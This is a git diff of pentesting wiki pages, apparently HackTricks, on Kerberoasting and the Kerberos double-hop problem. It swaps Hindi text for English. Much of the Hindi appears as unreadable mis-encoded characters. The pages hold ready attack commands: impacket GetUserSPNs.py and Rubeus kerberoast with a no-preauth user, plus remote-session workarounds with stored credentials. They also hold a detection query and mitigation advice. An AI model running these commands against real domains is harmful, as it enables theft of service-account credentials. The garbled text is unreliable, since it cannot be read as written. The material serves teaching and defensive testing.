рд╡рд╛рд▓реЗ рд╕реЗрд╡рд╛ рдирд╛рдореЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рд╣рд░ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред -- рдорд╢реАрдиреЛрдВ рд╕реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ **machine@domain** рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡рд░реВрдкрд┐рдд рдЦрд╛рддрд╛ рдирд╛рдореЛрдВ рдХреЛ рдмрд╛рд╣рд░ рдХрд░рдХреЗ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред -- рдХреЗрд╡рд▓ рд╕рдлрд▓ рдЯрд┐рдХрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рдиреНрд╣реЗрдВ **'0x0'** рдХреА рд╡рд┐рдлрд▓рддрд╛ рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред -- **рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг**, рдЯрд┐рдХрдЯ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдкреНрд░рдХрд╛рд░ **0x17** рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреЛ рдЕрдХреНрд╕рд░ Kerberoasting рд╣рдорд▓реЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ```bash Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message ``` -Kerberoasting рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: -- рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ **рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдХрдард┐рди рд╣реИрдВ**, **25 рд╡рд░реНрдгреЛрдВ** рд╕реЗ рдЕрдзрд┐рдХ рдХреА рд▓рдВрдмрд╛рдИ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред -- **рдкреНрд░рдмрдВрдзрд┐рдд рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЬреЛ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкрд╛рд╕рд╡рд░реНрдб рдкрд░рд┐рд╡рд░реНрддрди** рдФрд░ **рдкреНрд░рддрд┐рдирд┐рдзрд┐ рд╕реЗрд╡рд╛ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдирд╛рдо (SPN) рдкреНрд░рдмрдВрдзрди** рдЬреИрд╕реЗ рд▓рд╛рдн рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдРрд╕реЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрдврд╝рд╛рддреЗ рд╣реИрдВред +To mitigate the risk of Kerberoasting: -рдЗрди рдЙрдкрд╛рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ, рд╕рдВрдЧрдарди Kerberoasting рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬреЛрдЦрд┐рдо рдХреЛ рдХрд╛рдлреА рд╣рдж рддрдХ рдХрдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**. +- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks. + +By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting. ## Kerberoast w/o domain account -**рд╕рд┐рддрдВрдмрд░ 2022** рдореЗрдВ, рдПрдХ рд╢реЛрдзрдХрд░реНрддрд╛ рдЪрд╛рд░реНрд▓реА рдХреНрд▓рд╛рд░реНрдХ рджреНрд╡рд╛рд░рд╛ рдПрдХ рдкреНрд░рдгрд╛рд▓реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдирдпрд╛ рддрд░реАрдХрд╛ рд╕рд╛рдордиреЗ рдЖрдпрд╛, рдЬрд┐рд╕реЗ рдЙрдирдХреЗ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо [exploit.ph](https://exploit.ph/) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд╛рдЭрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдпрд╣ рд╡рд┐рдзрд┐ **KRB_AS_REQ** рдЕрдиреБрд░реЛрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯ (ST)** рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ рдЖрд╢реНрдЪрд░реНрдпрдЬрдирдХ рд░реВрдк рд╕реЗ рдХрд┐рд╕реА рднреА рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЦрд╛рддреЗ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред рдореВрд▓ рд░реВрдк рд╕реЗ, рдпрджрд┐ рдПрдХ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЗрд╕реЗ рдкреВрд░реНрд╡-рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИтАФрдпрд╣ рдПрдХ рдкрд░рд┐рджреГрд╢реНрдп рд╣реИ рдЬреЛ рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ **AS-REP рд░реЛрд╕реНрдЯрд┐рдВрдЧ рд╣рдорд▓реЗ** рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИтАФрддреЛ рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреБрд░реЛрдз рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЕрдиреБрд░реЛрдз рдХреЗ рд╢рд░реАрд░ рдореЗрдВ **sname** рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рдмрджрд▓рдХрд░, рдкреНрд░рдгрд╛рд▓реА рдХреЛ **ST** рдЬрд╛рд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдзреЛрдЦрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рди рдХрд┐ рдорд╛рдирдХ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯрд┐рдХрдЯ рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рдЯрд┐рдХрдЯ (TGT)ред +In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authenticationтАФa scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**тАФthis characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT). -рдЗрд╕ рддрдХрдиреАрдХ рдХреЛ рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/)ред +The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). > [!WARNING] -> рдЖрдкрдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдкреНрд░рджрд╛рди рдХрд░рдиреА рд╣реЛрдЧреА рдХреНрдпреЛрдВрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ LDAP рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдорд╛рдиреНрдп рдЦрд╛рддрд╛ рдирд╣реАрдВ рд╣реИред +> You must provide a list of users because we don't have a valid account to query the LDAP using this technique. #### Linux - [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413): + ```bash GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/ ``` + #### Windows - [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139): + ```bash Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" ``` -## рд╕рдВрджрд░реНрдн + +## References - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md index 8fe838032..af5531615 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -5,11 +5,11 @@ ## Introduction -Kerberos "Double Hop" рд╕рдорд╕реНрдпрд╛ рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрдм рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **Kerberos рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ **рджреЛ** **рд╣реЙрдкреНрд╕** рдХреЗ рдмреАрдЪ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП **PowerShell**/**WinRM** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред +Kerberos "Double Hop" рд╕рдорд╕реНрдпрд╛ рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрдм рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **Kerberos рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рджреЛ** **рд╣реЙрдкреНрд╕** рдХреЗ рдмреАрдЪ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП **PowerShell**/**WinRM** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдЬрдм **Kerberos** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рд╣реЛрддрд╛ рд╣реИ, рддреЛ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** **рдореЗрдореЛрд░реА** рдореЗрдВ **рдХреИрд╢** рдирд╣реАрдВ рд╣реЛрддреЗред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк mimikatz рдЪрд▓рд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдорд╢реАрди рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдирд╣реАрдВ рдкрд╛рдПрдВрдЧреЗ, рднрд▓реЗ рд╣реА рд╡рд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реЛред -рдпрд╣ рдЗрд╕ рдХрд╛рд░рдг рд╕реЗ рд╣реИ рдХрд┐ рдЬрдм Kerberos рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпреЗ рдХрджрдо рд╣реЛрддреЗ рд╣реИрдВ: +рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ Kerberos рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╕рдордп рдпреЗ рдХрджрдо рд╣реЛрддреЗ рд╣реИрдВ: 1. User1 рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░** User1 рдХреЛ рдПрдХ Kerberos **TGT** рд▓реМрдЯрд╛рддрд╛ рд╣реИред 2. User1 **TGT** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯ** рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ **Server1** рд╕реЗ **рдХрдиреЗрдХреНрдЯ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред @@ -23,12 +23,12 @@ Kerberos "Double Hop" рд╕рдорд╕реНрдпрд╛ рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрдд ### CredSSP -рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рд╕реЗ рдмрдЪрдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИ рдЬреЛ [**рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) рд╣реИ, рд╡рд╣ рд╣реИ **Credential Security Support Provider**ред Microsoft рд╕реЗ: +рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рд╕реЗ рдмрдЪрдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИ рдЬреЛ [**рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Credential Security Support Provider**ред Microsoft рд╕реЗ: > CredSSP рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕реНрдерд╛рдиреАрдп рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдбреЗрд▓реАрдЧреЗрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдерд╛ рджреВрд░рд╕реНрде рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдХреЛ рдмрдврд╝рд╛рддреА рд╣реИред рдпрджрд┐ рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЬрдм рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЗрд╕реЗ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдиреЗрдЯрд╡рд░реНрдХ рд╕рддреНрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -рдпрд╣ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ **CredSSP** рдХреЛ рдЙрддреНрдкрд╛рджрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ, рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рд╕рдорд╛рди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдЪрд┐рдВрддрд╛рдУрдВ рдХреЗ рдХрд╛рд░рдг рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПред рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ **CredSSP** рд╕рдХреНрд╖рдо рд╣реИ рдпрд╛ рдирд╣реАрдВ, `Get-WSManCredSSP` рдХрдорд╛рдВрдб рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдХрдорд╛рдВрдб **CredSSP рд╕реНрдерд┐рддрд┐ рдХреА рдЬрд╛рдВрдЪ** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ **WinRM** рд╕рдХреНрд╖рдо рд╣реЛред -```powershell +рдпрд╣ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ **CredSSP** рдХреЛ рдЙрддреНрдкрд╛рджрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ, рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рд╕рдорд╛рди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдЪрд┐рдВрддрд╛рдУрдВ рдХреЗ рдХрд╛рд░рдг рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПред рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ **CredSSP** рд╕рдХреНрд╖рдо рд╣реИ рдпрд╛ рдирд╣реАрдВ, `Get-WSManCredSSP` рдХрдорд╛рдВрдб рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдХрдорд╛рдВрдб **CredSSP рд╕реНрдерд┐рддрд┐ рдХреА рдЬрд╛рдВрдЪ** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ **WinRM** рд╕рдХреНрд╖рдо рд╣реЛред +```bash Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock { Get-WSManCredSSP } @@ -37,8 +37,8 @@ Get-WSManCredSSP ### Invoke Command -рдбрдмрд▓ рд╣реЙрдк рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рдиреЗрд╕реНрдЯреЗрдб `Invoke-Command` рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдПрдХ рд╡рд┐рдзрд┐ рдкреНрд░рд╕реНрддреБрдд рдХреА рдЧрдИ рд╣реИред рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╕реАрдзреЗ рд╣рд▓ рдирд╣реАрдВ рдХрд░рддреА рд╣реИ рд▓реЗрдХрд┐рди рд╡рд┐рд╢реЗрд╖ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдмрд┐рдирд╛ рдПрдХ рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╣рдорд▓рд╛рд╡рд░ рдорд╢реАрди рд╕реЗ рдпрд╛ рдкрд╣рд▓реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдкрд╣рд▓реЗ рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд PS-Session рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рджреНрд╡рд┐рддреАрдпрдХ рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ рдХрдорд╛рдВрдб (`hostname`) рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕реЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: -```powershell +рдбрдмрд▓ рд╣реЙрдк рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рдиреЗрд╕реНрдЯреЗрдб `Invoke-Command` рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА рд╡рд┐рдзрд┐ рдкреНрд░рд╕реНрддреБрдд рдХреА рдЧрдИ рд╣реИред рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╕реАрдзреЗ рд╣рд▓ рдирд╣реАрдВ рдХрд░рддреА рд╣реИ рд▓реЗрдХрд┐рди рд╡рд┐рд╢реЗрд╖ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдмрд┐рдирд╛ рдПрдХ рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╣рдорд▓рд╛рд╡рд░ рдорд╢реАрди рд╕реЗ рдпрд╛ рдкрд╣рд▓реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдкрд╣рд▓реЗ рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд PS-Session рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рджреНрд╡рд┐рддреАрдпрдХ рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ рдХрдорд╛рдВрдб (`hostname`) рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдпрд╣ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +```bash $cred = Get-Credential ta\redsuit Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock { Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname} @@ -48,8 +48,8 @@ Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname} ### PSSession рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкрдВрдЬреАрдХрд░рдг рдХрд░реЗрдВ -рдбрдмрд▓ рд╣реЙрдк рд╕рдорд╕реНрдпрд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдорд╛рдзрд╛рди `Enter-PSSession` рдХреЗ рд╕рд╛рде `Register-PSSessionConfiguration` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИред рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП `evil-winrm` рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдФрд░ рдпрд╣ рдПрдХ рд╕рддреНрд░ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдЬреЛ рдбрдмрд▓ рд╣реЙрдк рд╕реАрдорд╛ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред -```powershell +рдбрдмрд▓ рд╣реЙрдк рд╕рдорд╕реНрдпрд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдорд╛рдзрд╛рди рдореЗрдВ `Enter-PSSession` рдХреЗ рд╕рд╛рде `Register-PSSessionConfiguration` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП `evil-winrm` рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдФрд░ рдпрд╣ рдПрдХ рд╕рддреНрд░ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдЬреЛ рдбрдмрд▓ рд╣реЙрдк рд╕реАрдорд╛ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред +```bash Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username Restart-Service WinRM Enter-PSSession -ConfigurationName doublehopsess -ComputerName -Credential domain_name\username @@ -57,7 +57,7 @@ klist ``` ### PortForwarding -рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдордзреНрдпрд╡рд░реНрддреА рд▓рдХреНрд╖реНрдп рдкрд░, рдкреЛрд░реНрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдЕрдВрддрд┐рдо рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред `netsh` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, 